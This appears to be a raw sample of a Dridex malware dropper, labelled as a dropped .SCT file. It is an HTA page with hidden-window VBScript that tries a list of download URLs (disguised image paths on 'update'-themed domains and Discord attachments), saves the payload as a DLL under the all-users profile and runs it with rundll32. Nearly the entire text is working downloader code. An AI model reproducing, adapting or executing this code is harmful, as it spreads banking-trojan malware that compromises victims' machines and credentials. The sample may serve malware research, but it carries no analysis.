Dridex .SCT Droped

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="CS"
APPLICATIONNAME="Test"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">
<script type="text/vbscript" LANGUAGE="VBScript" >
Set qDialogAttachToolbars = CreateObject("Wscript.Shell")
qTickLabelPositionNone = qDialogAttachToolbars.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") & "\qPaperEnvelopePersonal.dll"
On Error Resume Next
For Each qNormalLoad in Array("http://immidiateupdates.com:8088/uploads/filler_6DEr4X.png","http://immidiateupdatesolutions.one:8088/uploads/avatar_lAqY1.png","https://cdn.discordapp.com/attachments/869191622208925709/869205999192522772/13.dll","http://immidiateupdates.com:8088/files/bacground_Wjmu1t.png","http://immidiateupdates.com:8088/wp-theme/filler_QEtsU.png","http://immidiateupdatesolutions.one:8088/img/avatar_sw4t.png","https://cdn.discordapp.com/attachments/869191622208925709/869206013188903052/11.dll","http://fastfreeupdates.com:8088/files/button_uYmrGi.png","http://emergentonlinesolutions.com:8088/css/avatar_IfPU.png","http://immidiateupdatesolutions.com:8088/img/logo_FtCAQ.png","http://fastfreeupdates.com:8088/tpls/avatar_sTQx.png","http://immidiateupdatesolutions.one:8088/app/button_uYmrGi.png")

    Set qCurrentPlatformText = createobject("MSXML2.ServerXMLHTTP.6.0")
    Set qPriorityHigh = createobject("Adodb.Stream")
    qCurrentPlatformText.Open "GET", qNormalLoad, False
    qCurrentPlatformText.setRequestHeader "User-Agent", "qToolbarButton"
    qCurrentPlatformText.Send
    If qCurrentPlatformText.Status = 200 And Len(qCurrentPlatformText.ResponseBody)>10 Then

    with qPriorityHigh
        .type = 1
        .write qCurrentPlatformText.responseBody
        .savetofile qTickLabelPositionNone, 2
    end with
    with qDialogAttachToolbars
        .Exec("rundll32.exe " & qTickLabelPositionNone & "," & "AddLookaside")
    Exit For
    End If

Next
</script>
</head>
<body>
</body>
</html>